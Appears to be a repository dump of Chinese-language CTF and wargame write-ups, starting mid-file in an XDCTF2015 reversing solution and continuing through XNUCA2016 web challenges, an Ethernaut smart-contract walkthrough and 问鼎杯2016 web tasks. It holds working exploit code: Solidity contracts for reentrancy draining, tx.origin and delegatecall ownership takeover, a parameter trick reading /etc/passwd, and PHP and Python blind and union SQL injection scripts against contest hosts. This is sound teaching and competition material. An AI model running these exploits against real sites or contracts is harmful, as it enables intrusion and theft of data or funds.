242 | for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(xrange((__l['_len'] * 6))), lambda: __l['buf'], []), []) for __l['_len'] in [(len(__l['data']))]][0]
243 |
244 | for __l['data'], __l['buf'] in [(data, buf)]][0])({}), 'encode')]][0]
245 | ```
246 |
247 | 仔细看看,核心部分也就几句话:
248 | ```python
249 | [data['i'] = ((table.index(data['i']) + 1))
250 | __this() for __l['buf'] in [(
251 | j=(i / 6) * 8 + (i % 6)
252 | setbit(buf, i, getbit(data, j))
253 |
254 | if __i is not __sentinel else __after())(next(__items, __sentinel)))())
255 |
256 | (iter(xrange((__l['_len'] * 6)))
257 |
258 | for __g['table'] in [(string.printable.strip())]][0] for __g['string'] in [(__import__('string', __g, __g))]][0])(globals(), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))))
259 | ```
260 |
261 | 其中`__g[xxxxx]`就是全局变量,`__l[xxx]`就是局部变量
262 | PS: 还有那个__y`(lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)())))`就是神秘的Y combinator,想了解更多的自行google....(不是那家公司- -是那家公司名字的由来)
263 |
264 | 那么加密方式就出来了,把原字符在table的index+1后,把后6位保存到文件里
265 | (其实这里由于我懒得看setbit,getbit所以搞反了字节序,
266 | 后来把aaaaaaaaaaaa写入flag.txt用这个程序加密后仔细逐位对比后才发现- -||)
267 |
268 | 由于`6*4==3*8`,我就每3字节一起decode
269 | decode3b函数:
270 | ```python
271 | def tobin(b):
272 | ret=''
273 | for i in [128,64,32,16,8,4,2,1]:
274 | ret+='1' if b&i else '0'
275 | return ret
276 |
277 | def decode3b(s):
278 | a=s>>16
279 | b=(s>>8) & 0xFF
280 | c=s & 0xff
281 | sa=tobin(a)
282 | sb=tobin(b)
283 | sc=tobin(c)
284 | return table[int(sa[2:],2)]+table[int(sb[4:]+sa[:2],2)]+table[int(sc[6:]+sb[:4],2)]+table[int(sc[:6],2)]
285 |
286 | >>> a=open('flag.enc','rb')
287 | >>> a=a.read()
288 | >>> s=''
289 | >>> for i in xrange(0, len(a), 3):
290 | ... s+=decode3b(int(a[i:i+3].encode('hex'), 16))
291 | ...
292 | >>> s
293 | 'yedugr1ofbm2o4epQz8i1op2tpkxft1nf344t000000000000000'
294 | >>> s=''.join(map(lambda c: table[(table.index(c)+63)%64], s))
295 | 'xdctfq0neal1n3doPy7h0no1sojwes0me233s"""""""""""""""'
296 | ```
297 |
298 | 由于只保留了最后6位,所以在table里的index大于64的特殊字符是没有的,要手动(脑)补上第7位,
299 | 查table+64可知`'q'->'{', 'o'->'_'`等等....
300 | 得:
301 | `xdctf{0ne-l1n3d_Py7h0n_1s_@wes0me233}`
302 |
303 |
--------------------------------------------------------------------------------
/XDCTF2015/misc300_1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/XDCTF2015/misc300_1.png
--------------------------------------------------------------------------------
/XNUCA201607WEB/README.md:
--------------------------------------------------------------------------------
1 | # CountingStars 100
2 |
3 | 下载'/.DS_Store'恢复源代码,计算$$$$$$...$$$S的值是'd0llars',提交后得到302跳转,里面的body部分就是flag
4 |
5 | # Invisible 100
6 |
7 | 没什么好说的,加'X-Forwarded-For: 127.0.0.1'
8 |
9 | # WeirdCamel 400
10 |
11 | 蛋疼perl的奇怪特性,http请求重复提交某一字段后会有奇怪效果....
12 | 不附带参数直接post的话,perl代码接受到的变量的值大致好像是(这里用json表示)
13 | ```js
14 | {
15 | 'name': 'PHONE',
16 | 'phone': '',
17 | 'email': ''
18 | }
19 | ```
20 | 提交`name=1`有:
21 | ```js
22 | {
23 | 'name': '1',
24 | 'phone': 'EMAIL',
25 | 'email': ''
26 | }
27 | ```
28 | 提交`name=1&name=2`有:
29 | ```js
30 | {
31 | 'name': '1',
32 | 'phone': '',
33 | 'email': ''
34 | }
35 | ```
36 | 提交`name=1&name=2&name=3`有:
37 | ```js
38 | {
39 | 'name': '1',
40 | 'phone': 'EMAIL',
41 | 'email': ''
42 | }
43 | ```
44 |
45 | 从上面的效应大概可以知道,perl大概直接把hash结构存为一个数组,不提交参数时就是
46 | ```js
47 | ['NAME','PHONE','EMAIL']
48 | ```
49 | 解释成`{'NAME':'PHONE', 'EMAIL': ''}`,然后提交`name=1`的时候就变成:
50 | ```js
51 | ['NAME','1','PHONE','EMAIL']
52 | ```
53 | 解释成`{'NAME':'1','PHONE':'EMAIL'}`,然后提交`name=1&name=2`的时候就变成:
54 | ```js
55 | ['NAME','1','2','PHONE','EMAIL']
56 | ```
57 | 解释成`{'NAME':'1','2':'PHONE','EMAIL':''}`等等....
58 |
59 | 那么我们脑洞一下后就可以知道要改STATEMENT的值,那就提交`name=1&name=STATEMENT&name=/etc/passwd`就可以读取'/etc/passwd'啦
60 | 读register.pl后可以发现里面有个注释了的`#print `,然后就是sql注入
61 |
62 | 在perl里面转义函数quote()在形如"id=1'&id=2"的时候直接返回"1'"....也就是直接无障碍裸的sql注入....
63 |
64 | payload:
65 | 
66 |
67 |
68 | # BOSS 500
69 |
70 | `http://question12.erangelab.com/login.php~`可以看代码,为什么这么执着于备份文件.....
71 |
72 | ```php
73 | 'keep-alive',
95 | 'HTTP_CACHE_CONTROL' => 'max-age=0',
96 | 'HTTP_USER_AGENT' => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36',
97 | 'HTTP_ACCEPT' => 'image/webp,image/*,*/*;q=0.8',
98 | 'HTTP_REFERER' => 'http://question12.erangelab.com/xnuca_checklist.php',
99 | 'HTTP_ACCEPT_ENCODING' => 'gzip, deflate, sdch',
100 | 'HTTP_ACCEPT_LANGUAGE' => 'zh-CN,zh;q=0.8',
101 | 'PHP_SELF' => '/rec.php',
102 | 'REQUEST_TIME_FLOAT' => 1469968445.9431269,
103 | 'REQUEST_TIME' => 1469968445,
104 | )array (
105 | 'str' => 'send_role=xt=urn:btih:1207054EE7FBB53FF0708BDE6A7934B7E5095CC9',
106 | )array (
107 | )
108 | ```
109 |
110 | 下载cookie的磁力链接即可看到flag。
--------------------------------------------------------------------------------
/XNUCA201607WEB/perl.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/XNUCA201607WEB/perl.png
--------------------------------------------------------------------------------
/eth_writeup_ethernaut.zeppelin.solutions.md:
--------------------------------------------------------------------------------
1 | # 前言
2 |
3 | 偶然看到了一个由 包含经典以太坊智能合约漏洞 的一系列合约组成的实战wargame,就简单写一个附有exploit的writeup。
4 |
5 | 当然还有一些经典漏洞没有覆盖到,可以查看文末的扩展阅读。
6 |
7 | wargame地址: https://ethernaut.zeppelin.solutions/ 。
8 | 题目简单,每关通关后也会有comment来解释实际含义,非常适合新入坑的同学
9 |
10 | 这篇writeup也包含了一些solidity语言remix IDE/web3.js的简单操作使用方法。
11 |
12 | 前置条件:基本了解智能合约概念,了解solidity语言,了解ETH web3 json RPC provider、metamask基本原理和使用
13 |
14 | 这套题目,智能合约都部署在Ropsten测试网络,因此先要根据level0提示去faucet获取些测试网络ether。这个平台本身也是一个DApp,由一个智能合约负责管理每个关卡的合约instance。
15 |
16 | # level0 Hello Ethernaut
17 | 题目说明已经很详细了。点击`Get new instance`, 然后浏览器console输入`await contract.info()`即可开始(只要你安装配置好metamask),嫌麻烦或者`contract.abi`查看abi直接猜出来通关方法:
18 |
19 | ```
20 | > await contract.password()
21 | "ethernaut0"
22 | > await contract.authenticate("ethernaut0")
23 |
24 | > await contract.getCleared()
25 | true
26 | ```
27 | 然后点击`submit instance`即可
28 |
29 | 可能由于网络原因不太稳定,可以多试几次。
30 |
31 | 另,console提示信息非常魔性...
32 |
33 | # level1 fallback
34 |
35 | 这题主要就是熟悉平台和remix使用的签到题
36 |
37 | 点击关卡的Get Instance,浏览器js console会返回新创建的合约的地址,复制下来再用remix IDE (https://remix.ethereum.org/) 交互 (我比较习惯remix IDE中交互,当然对于简单的操作,浏览器console里用web3.js的api像之前一样直接调用合约方法也可以)
38 |
39 | ```solidity
40 | pragma solidity ^0.4.18;
41 |
42 | contract Fallback {
43 |
44 | mapping(address => uint) public contributions;
45 |
46 | function contribute() public payable;
47 |
48 | function getContribution() public view returns (uint);
49 |
50 | function withdraw() public;
51 |
52 | function() payable public;
53 | }
54 | ```
55 | 在remix compile后,在run标签里填入合约地址,然后点击`At address`即可交互了。
56 |
57 | 这题的思路是,先value=1wei调用contribute(),然后value=1wei调用fallback()即可重设owner,最后value=0调用withdraw完成任务。
58 |
59 | 需要了解owner、msg.value、payable、fallback函数的含义
60 |
61 | # level2 fallout
62 | 这题注意有个`Fal1out`函数,与合约名`Fallout`不一致,因此不是构造函数(构造函数在合约生成后就不存在了,这一过程实际上是contract creation交易包含构造函数的bytecode,该交易执行构造函数bytecode,然后内存里是合约的其余代码的bytecode,然后ETH节点把返回的bytecode放置在链上与合约地址关联起来),我们可以调用此函数来claim ownership
63 |
64 | # level3 coin flip
65 |
66 | 除了我们手动调用合约的函数,我们也可以写合约来调用合约,因此这题只要写solidity代码我们就能得到block的信息了,思路同0ctf 2018线下赛的ZeroLottery题目:
67 | ```solidity
68 | pragma solidity ^0.4.18;
69 |
70 | contract CoinFlip {
71 | uint256 public consecutiveWins;
72 | function flip(bool _guess) public returns (bool);
73 | }
74 |
75 | contract MyContract {
76 | CoinFlip c;
77 | uint256 lastHash;
78 | uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
79 |
80 | function MyContract(address coinFlip) public {
81 | c = CoinFlip(coinFlip);
82 | }
83 |
84 | function exploit() public returns (bool) {
85 | uint256 blockValue = uint256(block.blockhash(block.number-1));
86 |
87 | if (lastHash == blockValue) {
88 | revert();
89 | }
90 |
91 | lastHash = blockValue;
92 | uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
93 | bool side = coinFlip == 1 ? true : false;
94 | return c.flip(side);
95 | }
96 | }
97 | ```
98 | remix IDE中compile后,我们需要部署MyContract,选择`injected web3` provider后在Deploy MyContract时,构造函数填入关卡合约instance的地址,然后在10个新区块中调用`exploit()`即可,需要花点时间,隔段时间等交易被打包进入一个区块后就又点击`exploit()`一次......10次比较蛋疼,尤其是网络不好
99 |
100 | 从这道题可以看出,智能合约系统内部没有安全的随机数,只能通过智能合约系统外部的调用实现。
101 |
102 | # level4 telephone
103 | 这题主要考的就是tx.origin和msg.sender的区别了,在于msg.sender是函数的直接调用方,可能是你手工调用该函数,这时候是发起该交易的账户地址,也可以是调用该函数的一个智能合约的地址。但tx.origin一定只能是这个交易的原始发起方,无论中间有多少次合约内/跨合约函数调用,一定是账户地址而不是合约地址。因此只要写合约调用changeOwner即可,这时msg.sender是你写的智能合约地址,tx.origin是你的账户地址
104 |
105 | ```solidity
106 | pragma solidity ^0.4.18;
107 |
108 | contract Telephone {
109 | function changeOwner(address _owner);
110 | }
111 |
112 | contract MyContract {
113 | Telephone c;
114 | function MyContract(address _c) public {
115 | c = Telephone(_c);
116 | }
117 |
118 | function exploit() public returns (bool) {
119 | c.changeOwner(tx.origin);
120 | }
121 | }
122 | ```
123 |
124 | # level5 Token
125 | 整数溢出的问题,由于用的是uint无符号数,因此`20 - 21 = 0xFFFFFFFFF... > 0`,所以只要调用`transfer(随便一个地址, 21)`即可
126 |
127 | # level6 delegation
128 | 我们看下delegatecall的文档:
129 | ```
130 | There exists a special variant of a message call, named delegatecall which is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values.
131 | ```
132 | 简要概括,就是msg.sender和msg.value不会变,被调用方法能够access所有调用方contract的成员属性,以方便实现在链上放置library的这一feature。那么,只要在Delegation里利用delegatecall调用Delegate.pwn()函数即可修改Delegation.owner。
133 |
134 | 如果熟悉raw格式的交易的data的同学会知道,data头4个byte是被调用方法的签名哈希,remix里调用函数,实质只是向合约账户地址发送了`(msg.data[0:4] == 函数签名哈希)`的一笔交易,然后合约的bytecode就会执行,bytecode中含有判断签名哈希的函数分发逻辑。我们只需要调用Delegation的fallback的同时在msg.data放入pwn函数的solidity签名即可。在remix里,我们可以更方便地实现这一exploit,我们只要在Delegation代码里放入pwn函数的solidity签名,remix调用Delegation的假pwn()即可,这样pwn的函数签名哈希就会放在msg.data[0:4]了(当然实际执行的代码还是fallback的函数),如下:
135 |
136 | ```solidity
137 | pragma solidity ^0.4.18;
138 |
139 | contract Delegation {
140 | function pwn() public;
141 | }
142 | ```
143 | 编译后填入关卡instance地址,点击at address,然后调用pwn即可(注意gas limit要调大一点不然会out of gas,不要用默认计算的gas limit)
144 |
145 | 对此不熟悉的同学可以看看编译器对于solidity的函数分发实现部分的相关compiled EVM bytecode
146 |
147 | # level7 Force
148 | `selfdestruct`函数可以强行发送ETH, 可参考https://medium.com/@alexsherbuck/two-ways-to-force-ether-into-a-contract-1543c1311c56
149 |
150 | ```solidity
151 | pragma solidity ^0.4.18;
152 |
153 | contract Force {}
154 |
155 | contract MyContract {
156 | Force c;
157 | function MyContract(address _c) public {
158 | c = Force(_c);
159 | }
160 |
161 | function exploit() payable public {
162 | selfdestruct(c);
163 | }
164 | }
165 | ```
166 |
167 | # level8 vault
168 | 区块链上所有东西都是公开的,查看json rpc文档可知道有`eth.getStorageAt()` API,根据solidity的“对象模型” (http://solidity.readthedocs.io/en/develop/miscellaneous.html),可知`password`放在storage的1的位置
169 |
170 | console里输入即可查看密码:
171 | ```js
172 | web3.eth.getStorageAt(contract.address, 1, console.log);
173 | ```
174 |
175 | 如果在remix里调用unlock注意一下remix对bytes32参数的格式:"0xXXXXXXXXX..." (包括双引号)
176 |
177 | # level9 King
178 | `king.transfer`函数在调用失败时会抛异常,后面`king = msg.sender;`就不会被执行,我们就达到目标了,因此只要让transfer时失败就行,我们让king不能接受eth transfer即可
179 |
180 | ```solidity
181 | pragma solidity ^0.4.18;
182 |
183 | contract King {
184 | address public king;
185 | uint public prize;
186 | function() external payable;
187 | }
188 |
189 | contract FallbackThrowException {
190 | address owner;
191 |
192 | function FallbackThrowException(address _c) payable public {
193 | owner = msg.sender;
194 | King c = King(_c);
195 | c.call.value(c.prize())();
196 | }
197 |
198 | function dtor() {
199 | selfdestruct(owner);
200 | }
201 |
202 | function() payable {
203 | throw;
204 | }
205 | }
206 | ```
207 |
208 | 调用构造函数时,value=1.1 ether即可。
209 |
210 | `FallbackThrowException`作为king时,transfer会调用`FallbackThrowException.fallback`,自然就throw失败了。
211 |
212 | 验证通过后可以调用dtor回收零头
213 |
214 | # level10 Re-entrancy
215 |
216 | 由于`balances[msg.sender] -= _amount;`在发送ETH(`msg.sender.call.value(_amount)()`)的之后,我们可以用合约作为msg.sender,这样我们的合约的fallback函数就会在`msg.sender.call`被调用(在`-= _amount`之前),于是我们可以无限递归调用withdraw()函数来获得合约内所有的ETH。
217 |
218 | ```solidity
219 | pragma solidity ^0.4.18;
220 |
221 | contract Reentrance {
222 |
223 | mapping(address => uint) public balances;
224 |
225 | function donate(address _to) public payable {
226 | balances[_to] += msg.value;
227 | }
228 |
229 | function balanceOf(address _who) public view returns (uint balance) {
230 | return balances[_who];
231 | }
232 |
233 | function withdraw(uint _amount) public {
234 | if(balances[msg.sender] >= _amount) {
235 | if(msg.sender.call.value(_amount)()) {
236 | _amount;
237 | }
238 | balances[msg.sender] -= _amount;
239 | }
240 | }
241 |
242 | function() public payable {}
243 | }
244 |
245 | contract MyContract {
246 | Reentrance c;
247 | address owner;
248 |
249 | function MyContract(address _c) public payable {
250 | c = Reentrance(_c);
251 | owner = msg.sender;
252 | c.donate.value(msg.value)(this);
253 | }
254 |
255 | function() public payable {
256 | uint weHave = c.balanceOf(this);
257 | if (weHave > c.balance) {
258 | if (c.balance != 0) c.withdraw(c.balance);
259 | return;
260 | }
261 | c.withdraw(weHave);
262 | }
263 |
264 | function exploit() public {
265 | c.withdraw(0);
266 | }
267 |
268 | function dtor() {
269 | selfdestruct(owner);
270 | }
271 | }
272 | ```
273 | value=0.5 ether,填入关卡合约instance地址构造MyContract,然后调用exploit即可(注意要调大gas limit),调用dtor回收ETH。
274 |
275 | 这个漏洞的利用曾使得全网14%的以太坊被盗(被称为DAO Hack),社区决定以太坊分叉出ETH链,也就是ETH是回滚至被黑之前的链,ETC则是黑客拥有以太坊的原始链,由于矿工利益问题存活至今
276 |
277 | # level11 Elevator
278 |
279 | 仔细阅读题目,可以想到这题的通关条件是`Elevator.top == true`。突破点在于interface里的view/constant/pure修饰符仅在于Solidity语言层面起作用,而实际EVM层面跨合约调用时并没有检查。于是,实际上isLastFloor是可以有副作用的。我们可以通过成员变量区分两次isLastFloor调用,第一次返回false第二次返回true即可。
280 |
281 | ```solidity
282 | pragma solidity ^0.4.18;
283 |
284 | contract Elevator {
285 | bool public top;
286 | uint public floor;
287 |
288 | function goTo(uint _floor) public;
289 | }
290 |
291 | contract MyBuilding {
292 | bool private isArrived = false;
293 | Elevator c;
294 |
295 | function MyBuilding(address _c) {
296 | c = Elevator(_c);
297 | }
298 |
299 | function isLastFloor(uint) public returns (bool) {
300 | if (!isArrived) {
301 | isArrived = true;
302 | return false;
303 | }
304 | return true;
305 | }
306 |
307 | function exploit() public {
308 | c.goTo(777);
309 | }
310 | }
311 |
312 | ```
313 |
314 | # level12 Privacy
315 | 同上面某题,只要调用eth.getStorageAt就可以了,注意ethereum是大端序,比如bytes4(msg.data)就是被调用方法签名的哈希。
316 |
317 | ```js
318 | > web3.eth.getStorageAt("0x443ba829e54bc353a774e19cd0f4c463bbd70292", 3, console.log);
319 | < null "0x855225da826cf02c945e41f445f2c7491d28ecdd3e99e12abca7629d8b49ca9f"
320 | > "0x855225da826cf02c945e41f445f2c7491d28ecdd3e99e12abca7629d8b49ca9f".substr(0,34)
321 | < "0x855225da826cf02c945e41f445f2c749"
322 | ```
323 |
324 | 然后调用unlock就行了
325 |
326 | # level13 Gatekeeper One
327 |
328 | 关键的`msg.gas`只要复制一份代码,在remix js vm里点击debug单步调试,看看由调用enter开始直到汇编语句`GAS`时所用的gas是多少,然后设定gas=81910加上消耗掉的gas数和`GAS`本身消耗的2即可。
329 |
330 | 但是,每个版本compiler编译出来的指令都不太一样,因此看代码要选择0.4.18版本(https://remix.ethereum.org/#optimize=false&version=soljson-v0.4.18+commit.9cf6e910.js)。在这里就踩了一下坑..
331 |
332 | 剩下就是注意一下solidity的类型转换截断的实现。
333 |
334 |
335 | ```solidity
336 | pragma solidity ^0.4.18;
337 |
338 | contract GatekeeperOne {
339 | function enter(bytes8 _gateKey) public returns (bool);
340 | }
341 |
342 | contract MyAgent {
343 | GatekeeperOne c;
344 |
345 | function MyAgent(address _c) {
346 | c = GatekeeperOne(_c);
347 | }
348 |
349 | function exploit() {
350 | uint64 gateKey = uint16(tx.origin) + (1 << 44);
351 | c.enter.gas(81910-81697+81910+2)(bytes8(gateKey));
352 | }
353 | }
354 | ```
355 |
356 | # level14 Gatekeeper Two
357 | 查看以太坊黄皮书第十页底部(https://ethereum.github.io/yellowpaper/paper.pdf)
358 | ```
359 | 4 During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account while
360 | CODESIZE should return the length of the initialization code (as defined in H.2
361 | ```
362 |
363 | 因此只要在构造函数内调用enter即可,剩下无非就是一个异或的简单逻辑,显然0-1=0xFFFFFF...,而对任意X有~X ^ X == 0xFFFF...,因此代码如下:
364 | ```solidity
365 | pragma solidity ^0.4.18;
366 |
367 | contract GatekeeperTwo {
368 | address public entrant;
369 | function enter(bytes8 _gateKey) public returns (bool);
370 | }
371 |
372 | contract MyAgent {
373 | function MyAgent(address _c) {
374 | GatekeeperTwo c = GatekeeperTwo(_c);
375 | c.enter(bytes8(~uint64(keccak256(this))));
376 | }
377 | }
378 | ```
379 |
380 |
381 | # level15 Naught Coin
382 |
383 | 这题的合约继承了`ERC20/StandardToken`(https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/StandardToken.sol),因此也自然继承了里面的一些函数。
384 |
385 | 我们可以看到ERC20还包含了allowance这种功能,以及里面自带一个transferFrom函数。利用思路是,我们可以创建一个合约`MyAgent`,然后手工调用`StandardToken.approve()`授权该合约使用我们的tokens,然后我们通过该合约`MyAgent.getAllToken()`调用`StandardToken.transferFrom()`函数把tokens全部转移即可,非常简单。或者直接自己approve自己账户地址,然后调用transferFrom也行。
386 |
387 | 代码如下:
388 | ```solidity
389 | pragma solidity ^0.4.18;
390 |
391 | contract NaughtCoin {
392 |
393 | string public constant name = 'NaughtCoin';
394 | string public constant symbol = '0x0';
395 | uint public constant decimals = 18;
396 | uint public timeLock = now + 10 years;
397 | uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals);
398 | address public player;
399 |
400 | function transferFrom(
401 | address _from,
402 | address _to,
403 | uint256 _value
404 | )
405 | public
406 | returns (bool);
407 |
408 | function transfer(address _to, uint256 _value) lockTokens public returns(bool);
409 |
410 | // Prevent the initial owner from transferring tokens until the timelock has passed
411 | modifier lockTokens() {
412 | if (msg.sender == player) {
413 | require(now > timeLock);
414 | if (now < timeLock) {
415 | _;
416 | }
417 | } else {
418 | _;
419 | }
420 | }
421 |
422 | function approve(address _spender, uint256 _value) public returns (bool);
423 | }
424 |
425 | contract MyAgent {
426 | address owner;
427 | NaughtCoin c;
428 |
429 | function MyAgent(address _c) public {
430 | owner = msg.sender;
431 | c = NaughtCoin(_c);
432 | }
433 |
434 | function getAllToken() public {
435 | c.transferFrom(owner, this, c.INITIAL_SUPPLY());
436 | }
437 | }
438 | ```
439 |
440 | # Vulnerbilities总结
441 |
442 | 1. 复制代码时注意改构造函数名...应该用constructor关键字而不是用deprecated的与合约同名的函数作为构造函数
443 | 2. 合约中生成随机数时要注意其不安全
444 | 3. 注意msg.sender可以是智能合约地址
445 | 4. 注意整数overflow和underflow,尽量用safemath库
446 | 5. delegatecall要注意安全性
447 | 6. 不能假设你的合约不能接受ETH,也就是说注意`this.balance == 0`的使用
448 | 7. 区块链上没有不公开的东西
449 | 8. Address.transfer要处理异常
450 | 9. Address.call不安全,可能会消耗大量的gas或Out of gas
451 | 10. 除了payable外,不能在字节码层面的外部合约的view/constant/pure修饰符做假设,除非这个合约一定是你控制的
452 | 11. 继承或引用代码时要全面了解其代码
453 |
454 | # 附录
455 |
456 | - FreeBuf简介文章
457 | 以太坊去中心化应用dApp的渗透测试姿势浅析
458 | http://www.freebuf.com/articles/blockchain-articles/174050.html
459 |
460 | - Solidity文档
461 | http://solidity.readthedocs.io
462 |
463 | - 扩展阅读
464 | https://github.com/b-mueller/smashing-smart-contracts/blob/master/smashing-smart-contracts-1of1.pdf
465 |
--------------------------------------------------------------------------------
/问鼎杯2016/README.md:
--------------------------------------------------------------------------------
1 | # 问鼎杯2016
2 |
3 | ## 2-1
4 |
5 | 没什么好说的...就是脑洞
6 |
7 | 提交的url藏在页面里,搜一下`fulaige`可以找到提交token和key的url。然后是找token和key。
8 |
9 | 页面内联CSS中会有一项`t0ken: rgb(X, Y, Z)`,发几个请求diff一下就能注意到这里。
10 | 那么脑洞一下易知XYZ转成16进制后就是token。
11 |
12 | 然后是找key,css+html都藏过了那么就是藏在js里了吧。一开始注意到jquery 1.9.3搜不到这个版本,觉得藏在这里面。然后在控制台敲了个key浏览器就把key打出来了。
13 |
14 | 那么把key和token填在一开始得到的url里就能看到flag了。
15 |
16 | ## 2-2
17 |
18 | 跟`HITCON 2016`的`babytrick`很像,只是最后拿flag过程变成了盲注而已。
19 |
20 | 核心思路:
21 | - 利用反序列化异常对象,来阻止`__wakeup`中的sql过滤代码被执行,直接执行`__destruct`。具体可以看HITCON的writeup,这里就不在多说了。
22 | - 利用`>=`,`ascii()`,`substr()`等sql函数进行二分查找盲注加速拿flag
23 |
24 | payload生成及获取flag代码:
25 | ```php
26 | conn = null;
38 | $this->method = 'show';
39 | $str = bin2hex($str);
40 | $pos = strlen($res)+1;
41 | $this->args = ["admin' and ascii(substr(password,{$pos},1)) >= 0x{$str} -- "];
42 | $this->isGenerator = true;
43 | }
44 |
45 | function __destruct() {
46 | if(isset($this->isGenerator)) return;
47 | if (!$this->conn)
48 | echo "connect to db. ";
49 | echo "deconstruct called. ";
50 | //var_dump($this);
51 | if (in_array($this->method, array("show", "source"))) {
52 | @call_user_func_array(array($this, $this->method), $this->args);
53 | }
54 | }
55 |
56 | function __wakeup() {
57 | foreach($this->args as $k => $v) {
58 | $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
59 | }
60 | }
61 |
62 | function show() {
63 | list($username) = func_get_args();
64 | if(preg_match("/\b(select|insert|update|delete)\b/i",$username)){
65 | die("hello,hacker!");
66 | }
67 | $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
68 | var_dump($sql);
69 | }
70 | }
71 |
72 |
73 | $a = new COMEON();
74 |
75 | $printable = [' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~'];
76 |
77 | function guess($i) {
78 | global $res, $a, $printable;
79 | $a->generate($i);
80 | $data = serialize($a); $data = str_replace(';N;', ';O:9:"Exception":2:{s:7:"*file";R:4;};', $data);
81 | $url = "http://sec3.hdu.edu.cn/831291d147f8429887af12bcb53e2d91/?data=".urlencode($data);
82 | $ret = file_get_contents($url);
83 | //var_dump($i . " " . $ret);
84 | return $ret === ' {"msg":"admin is admin"}';
85 | }
86 |
87 | // return max "admin is admin"
88 | function binarySearch($fl, $fr) {
89 | global $printable;
90 | if($fl == $fr) {
91 | return guess($printable[$fl]) ? $fl : -1;
92 | }
93 | if($fl == $fr - 1) {
94 | if(guess($printable[$fr])) return $fr;
95 | return binarySearch($fl, $fl);
96 | }
97 | $m = ($fl + $fr) >> 1;
98 | if(guess($printable[$m])) {
99 | $tmp = binarySearch($m+1, $fr);
100 | if($tmp !== -1) return $tmp;
101 | else return $m;
102 | } else {
103 | return binarySearch($fl, $m-1);
104 | }
105 | }
106 |
107 | for($i =0; $i < 10; $i++) {
108 | $tmp = $printable[binarySearch(0, count($printable)-1)];
109 | $res .= $tmp;
110 | var_dump($res);
111 | }
112 |
113 | ?>
114 | ```
115 |
116 | ## 5-2
117 |
118 | 没什么好说的..基本上就是裸注入
119 | 貌似`username`必须要为`user`,所以从`id`字段做手脚
120 | 把要注入回显的有用信息的字符串转成ascii码存在`id`字段里,一字节一字节地读取即可。
121 | 要先在`information_schema`表里查查`table_name`和`column_name`,可知是在`fffflag`表内的`fflag`列中。
122 |
123 | 代码:
124 | ```python
125 | from hashlib import md5
126 | import requests
127 |
128 | def innerText(txt, st, fin):
129 | txt = txt[txt.index(st)+len(st):]
130 | return txt[:txt.index(fin)]
131 |
132 | def solve(cap):
133 | t=0
134 | while md5(str(t)).hexdigest()[:len(cap)] != cap:
135 | t+=1
136 | return str(t)
137 |
138 | ss = ''
139 | for i in xrange(1,10000):
140 | s = requests.session()
141 | a = s.get('http://sec2.hdu.edu.cn/e33cdf8c2126fc5490fbc5d7fc269036/').content
142 | cap = innerText(a, ",0,4) =='", "'")
143 | ans = solve(cap)
144 | payload = '''(select group_concat(fflag) from ffff1ag)'''
145 | payload = '''200 union select ascii(mid(%s,%d,1)) as id,username from users -- ''' % (payload,i)
146 | ret = s.post('http://sec2.hdu.edu.cn/e33cdf8c2126fc5490fbc5d7fc269036/', data={'id': payload, 'code': ans}).text
147 | c = chr(int(innerText(ret, 'name | ', ' | ')))
148 | if ord(c) == 0: break
149 | print c
150 | ss += c
151 |
152 | print ss
153 | ```
154 |
--------------------------------------------------------------------------------